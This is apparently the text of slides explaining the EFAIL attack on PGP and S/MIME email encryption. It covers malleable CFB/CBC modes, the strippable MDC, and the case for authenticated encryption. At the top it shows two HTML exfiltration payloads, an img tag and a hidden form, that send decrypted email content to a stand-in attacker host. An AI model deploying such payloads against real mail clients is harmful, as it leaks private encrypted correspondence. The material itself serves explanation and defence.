[MIME part 1] <img src="https://evilhacker.com/?content= [MIME part 2] [encrypted email] [Mime part 3] ">
[MIME part 1] <form action="https://evilhacker.com/" method="GET"> <textarea name="content"> [MIME part 2] [encrypted email] [Mime part 3] </textarea> <button type=submit style="visibility:hidden; position:absolute;left:0px;right:0px;top:0px;bottom:0px;"> </form>
Block ciphers like AES need an encryption mode.
CBC, CFB, OFB, GCM, Poly1305, SIV
Legacy encryption modes (CBC, CFB, OFB) guarantee secrecy of the data, but they don't provide protection against modification.
An attacker can flip bits in the ciphertext, leading to flipped bits in the decrypted plaintext, causing one unpredictable block.
If the attacker can predict a block in the plaintext then he can inject arbitrary content blocks (with garbage blocks inbetween).
Modify message in a way that it will end up containing HTML that will send message content to the attacker.
PGP uses compression, which makes this attack harder. EFAIL authors managed to make it work 1/3 of the time. (It may be possible to do better.)
Authenticated encryption modes like GCM protect against message modification, but those didn't exist when PGP was invented.
OpenPGP uses a construction called Modification Detection Code (MDC).
Is that authenticated encryption?
The good news: While an ad-hoc construction, nobody has found any notable weakness in the CFB/MDC construction used by GnuPG.
The bad news: The MDC is optional. It can be stripped away.
In such a scheme the encryption process applied by the sender takes the key
and a plaintext to return a ciphertext, while the decryption process applied by the
receiver takes the same key and a ciphertext to return either a plaintext or a special
symbol indicating that it considers the ciphertext invalid or not authentic.
(Authenticated Encryption, Bellare, Namprempre, Asiacrypt 2000)
Decryption output is
Decryption output is
Authenticated Encryption is an API issue.
A correct API should never output unauthenticated plaintext.
GnuPG functionality is all implemented in an executable, not in a library.
This is unusual and fragile.
Fix stupid bugs in mail clients.
Deprecate unauthenticated CFB mode, require MDC.
Never use plaintext before checking MDC.
Step 4 / future:
Switch to a real authenticated encryption mode.
(Nobody does that.)
Fixing S/MIME would require defining a new encryption mode.
There can be no backwards compatibility. It'd have to be practically a whole new technology.
Having one E-Mail encryption standard instead of two would be progress.
Not at all.
Unauthenticated encryption is almost never secure.
Padding Oracle, POODLE, Lucky Thirteen (all TLS), XML encryption broken, iMessage vulnerability, ...
All would've been avoided with proper authenticated encryption.
Sometimes people think if you have signatures you don't need authenticated encryption.
There's no binding between the signature and the encryption key.
In the case of EFAIL: Strip away or replace signature, attack still works.